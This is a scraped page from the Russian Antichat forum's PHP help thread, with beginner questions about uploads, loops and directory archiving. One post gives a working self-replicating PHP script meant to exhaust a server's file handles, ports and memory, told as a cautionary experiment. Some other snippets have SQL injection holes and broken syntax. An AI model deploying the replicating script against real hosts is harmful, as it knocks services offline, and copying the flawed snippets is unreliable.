ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6821  
Старый 10.12.2008, 20:01
Аватар для KillDead
KillDead
Новичок
Регистрация: 15.09.2008
Сообщений: 19
Провел на форуме:
102324

Репутация: 1
По умолчанию

тогда это не выподающее меню а выподающий список.
В чём тогда проблема? - просто делаешь форму
PHP код:
<form method="POST" action="">... 
А потом просто разбираешь пост запрос и выбираешь выбранную картинку
PHP код:
 $id $_POST['data'];
if(
is_int($id)===FALSE )exit("HAKING");

$result mysql_query("SELECT * FROM data WHERE id='.$id",$db); 
...
printf ("<img src='%s' />",$myrow["url"]); 
 
Ответить с цитированием

  #6822  
Старый 10.12.2008, 20:47
Аватар для geforce
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
Question

Помоге добить скрипт???

Ирархия папок:
_______________________________________

fotos
2.jpg (картинка загруженая пользователем)
admin
data
1.jpg (картинки загруженные админом)
index.php
db.php
load.php
index.php
db.php
load.php

MySQL
________________________________________

имя базы img
таблица 1: foto (Поля: id, name, url) для пользвателя
таблица 2: data (Поля: id, name, url) для админа

________________________________________

коды:

index.php

PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<
html xmlns="http://www.w3.org/1999/xhtml">
<
head>
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<
title>Загрузка</title>
</
head>

<
body>
<
form enctype="multipart/form-data" method="POST" action="load.php"

<
b>Фото:</b><br /> 
<
input type="file" name="myfile" style="width:304px; height:18px" id="myfile" /> 

<
br /><br /> 
<
input style="height: 35px;" type="submit" value="Добавить фото" name="submit"

</
form>  



</
body>
</
html
load.php

PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Untitled Document</title>
</head>

<body>
<?php 

// Подключаемься к базе данных 

include ("db.php"); 

//================Настройки============= // 
$maxwidth "300px"// максимальная ширина картинок на превью 
$fotos_dir "fotos/"// Директория для фотографий товаров 
$foto_name $fotos_dir.time()."_".basename($_FILES['myfile']['name']); // Полное имя файла вместе с путем 
$foto_light_name time()."_".basename($_FILES['myfile']['name']); // Имя файла исключая путь 
$foto_tag "<img src=\"$foto_name\" border=\"0\">"// Готовый тэг для вставки картинки на страницу 
$foto_tag_preview "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">"// Тот же тэг, но для превью 

// Текст ошибок 
$error_by_mysql "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>"
$error_by_file "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>"



// Начало 
if(isset($_FILES["myfile"])) 

$myfile $_FILES["myfile"]["tmp_name"]; 
$myfile_name $_FILES["myfile"]["name"]; 
$myfile_size $_FILES["myfile"]["size"]; 
$myfile_type $_FILES["myfile"]["type"]; 
$error_flag $_FILES["myfile"]["error"]; 

// Если ошибок не было 
if($error_flag == 0

         
     
$DOCUMENT_ROOT $_SERVER['DOCMENT_ROOT']; 
$upfile getcwd()."\\fotos\\" time()."_".basename($_FILES["myfile"]["name"]); 
if (
$_FILES['myfile']['tmp_name']) 


   
//Если не удалось загрузить файл 

if (!move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))  

echo 
"$error_by_file"
exit; 



else 

    echo 
'Проблема: возможна атака через загрузку файла. '
    echo 
$_FILES['myfile']['name']; 
    exit; 



// После удачной обработки файла, выводим сообщение 
echo "<h3>Результат добавления товара:</h3> <br />"
echo 
"<b>Файл успешно скопирован в директорию:</b> ".$fotos_dir." <br /><b>Имя файла:</b> ".$foto_light_name."<br />"
echo 
"<br /><small>Превью загруженной картинки:</small> <br />$foto_tag_preview<br /><br />"



// Заносим путь картинки в базу данных 
$q "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')"
$query mysql_query($q); 


// Данные успешно внесены в базу данных, выводим сообщение 
if ($query == 'true') { 
echo 
"<br /><b>Данные успешно внесены в базу</b>"


// В противном случае, выводим ошибку при добавлении в базу данных 
else { 
echo 
"$error_by_mysql"



        } 
  
 elseif (
$myfile_size == 0) { 
 echo 
"Пустая форма!"
 }  
     



?><br>
<form id="form1" name="form1" method="post" action="end.php">
    <?  //меню выбора картинки
$result mysql_query("SELECT * FROM data",$db);

if (!
$result)
{
echo 
"<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(
mysql_error());
}

if (
mysql_num_rows($result) > 0)

{
$myrow mysql_fetch_array($result); 

do 
{

printf ("<img src='admin/%s'><input name='id' type='radio' value='%s'><label>%s</label><br>",$myrow["url"],$myrow["id"],$myrow["name"]);



}
while (
$myrow mysql_fetch_array($result));
 
}

else
{
echo 
"<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}

?>
  <label>
  <input type="submit" name="prev" id="prev" value="Submit" />
  </label>
</form>
</br></br>


</body>
</html>
___________________________________________

Помогите дописать голова чето устала нада создать php файл end.php и чтоб при загрузке фото, и выборе картинки из базы это то что в load.php
эти две картинки обьеденялись в одну в файле оброботчика end.php????
 
Ответить с цитированием

  #6823  
Старый 11.12.2008, 00:15
Аватар для Ershik
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Есть выражение:
Цитата:
if($_POST['save_dir'] and $_POST['save']) {
$save_dir = $_POST['save_dir'];
$files = scandir($save_dir);

}
Как можно дописать, чтобы просканировав каталог с различными файлами типа: jpg, php и html подобными, можно было скачать архив в расширении gz?
Просмотрев исходники подобных программ, думаю, что нужно делать цикл, типа
Прошелся по одномй директории, admin, к примеру - добавил в архив test.gz,
Прошелся по директории templates - еще раз добавил.
Здесь должен быть цикл while, но, увы я их вообще не понимаю

Решение найдено!
http://forum.antichat.ru/thread53918.html
Спасибо DIAgen

Последний раз редактировалось Ershik; 11.12.2008 в 00:23..
 
Ответить с цитированием

  #6824  
Старый 11.12.2008, 01:06
Аватар для ss88
ss88
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме:
298300

Репутация: 128
Отправить сообщение для ss88 с помощью ICQ
По умолчанию

Цитата:
Сообщение от ss88  
Вот всегда так, лекарство от болезней изобретают тысячелетиями, а нож делается в считанные минуты....

PHP код:
<?php
/************************************************
 * Привет от ss88                                *
 ************************************************ 
 */
//тьма пробелов 
    
$zhopaString="                                                                                                                                               
                                                                                                                                                                 
                                                                                                                                                                 
                                                                                                                                                                
    "
;
//понта ради, мы никогда этого не увидим
    
echo "--------------\n| СУШИ ВЕСЛА |\n--------------\n";
//мы против абортов    
    
ignore_user_abort();
    
//забыть о преградах и запретах
    
set_time_limit(0);
    
//хэшируем пробелы - не самая простая задача с точки зрения CPU    
    
$zhopaString.=md5($zhopaString);
    
//имя нового клона
    
$randomFileName="bug".rand(0,99999).".php";
    
//открываем себя
    
$selfFD=fopen($_SERVER['SCRIPT_FILENAME'],"r");
    
//собственные внутренности
    
$selfContent=fread($selfFD,5000);
    
//создаем новый файл
    
$newFile=fopen($randomFileName,"w+");
    
//клонируем себя
    
fwrite($newFile,$selfContent);
    
//клон готов
    
fclose($newFile);
    
//формируем путь и вызываем клона на сцену        
    
$arPath=explode("/",$_SERVER['SCRIPT_NAME']);
    
$arPath[count($arPath)-1]=$randomFileName;
    
$getString="http://".$_SERVER['SERVER_NAME'].implode("/",$arPath);
    
$zhopaString.=md5(file_get_contents($getString));
    
//подключаем еще разок себя, но до этого врядли дойдет
    
require ($_SERVER['SCRIPT_NAME']);
?>
Спасибо, Ch3ck, а то я забыл про аборты от юзеров
Испытал эту гадость на одном из своих сайтов (додумался, блин)...
Вобщем, было определено, что максимально допустимое количество одновременно открытых дескрипторов файлов в Юниксах раз 5-7 больше, нежели у Винды, тем не менее, исчерпались они за секунду другую, так-как здесь сервер уже борется локально сам с собой... Очень быстро исчерпываются порты и ОЗУ, нагрузка на процессоры идет волнообразная... Теоретически, вечный двигатель, при условии наличия идеального сервера с бесконечными ресурсами ))) Но цепочка все же вернулась к родителю, когда кол-во портов было исчерпано, из этого можно сделать вывод, что бесконечный цикл самоподключения сделать стоит...

После этого эксперимента, мой хостинг-аккаунт в течение 3-х минут был отключен админами... Зато они почистили директорию, в которой расплодилось семейство этих глюков, оставили родителя, но перенесли в каталог "a po licu?" )))) А в комменты после "привет от ss88" дописали "и тебе привет, по лицу бы тебе, но скрипт интересный. admins" )))

Вот такая забавная история. К чему это все, к тому, что, обращаюсь к новичкам, ресурсы сервера не безграничны. Зато порой видишь скрипты, которые грузят может и не так сильно но вполне прилично, не выполняя особо ничего полезного. Так что, если когда-то экономили биты и байты, то это не означает, что экономить их сейчас не стоит. ВотЪ
Спасибо за внимание!

Последний раз редактировалось ss88; 11.12.2008 в 03:18..
 
Ответить с цитированием

  #6825  
Старый 11.12.2008, 15:36
Аватар для Ershik
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Объясните мне логику действии, то есть где я не прав, и почему мне не удается прикрутить форму выбора директории к файлу
http://forum.antichat.ru/thread53918.html


Я добавил:
PHP код:
<form action="" method="post">   
Скопировать файлы <input type="text" name="dir"> <input type="submit" name="ok4"></form>
<?php
if($_POST['dir'] and $_POST['ok4']) {   
    
$dir $_POST['dir'];  
}
?>
Затем взял функцию сжатия и указал такой же тип переменной $dir как выше:
PHP код:
function _readdir($d,&$files) { 
global 
$opendir
[
B]$dir[/B] = opendir ($d); 
  while ( 
$file readdir ($dir)) 
  { 
     if (( 
$file != ".") && ($file != "..")) 

   
$opendir=$d.'/'.$file
         if(
filetype($opendir)=="dir"
        { 
        
_readdir($opendir,&$files); 
        } 
        else 
        { 
         
$files[] = $opendir

   } 
   } 

   
closedir ($dir); 
 } 
Далее нужно указать путь директории.
Указал, но мне до сих пор предлагаю сохранить пуской каталог, не предлагая альтернативы:
PHP код:
_readdir == $files// ТУт указываем полный путь до папки которую нужно жать.... 
 
Ответить с цитированием

  #6826  
Старый 11.12.2008, 16:38
Аватар для PaCo
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию

Цитата:
Сообщение от KillDead  
тогда это не выподающее меню а выподающий список.
В чём тогда проблема? - просто делаешь форму
PHP код:
<form method="POST" action="">... 
А потом просто разбираешь пост запрос и выбираешь выбранную картинку
PHP код:
 $id $_POST['data'];
if(
is_int($id)===FALSE )exit("HAKING"); 
Бред, это условие всегда будет возврашать false, по тому как form input, which is always a string
лутчше использовать
if(is_numeric ($id)===FALSE )exit("HAKING");
 
Ответить с цитированием

  #6827  
Старый 12.12.2008, 14:19
Аватар для D1mka
D1mka
Участник форума
Регистрация: 02.01.2008
Сообщений: 116
Провел на форуме:
1013405

Репутация: 58
По умолчанию

почему не работает цикл? foreach
PHP код:
<?php
$arr
=array("1","2","3");
foreach(
$arr=$value)
{
echo 
"Next number: $value <BR>";
}
?>
v
 
Ответить с цитированием

  #6828  
Старый 12.12.2008, 14:21
Аватар для 159932
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

foreach($arr as $value)

php.net/foreach - слабо зайти и посмотореть?
 
Ответить с цитированием

  #6829  
Старый 12.12.2008, 14:23
Аватар для D1mka
D1mka
Участник форума
Регистрация: 02.01.2008
Сообщений: 116
Провел на форуме:
1013405

Репутация: 58
По умолчанию

епт, незаметил as
спасибо
 
Ответить с цитированием

  #6830  
Старый 12.12.2008, 21:36
Аватар для UnPazz
UnPazz
Участник форума
Регистрация: 30.08.2008
Сообщений: 128
Провел на форуме:
668329

Репутация: 106
По умолчанию

выводится новость из mysql.
Как вывести часть новости и ссылку подробнее, при нажатии на которую открывается вся новость?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ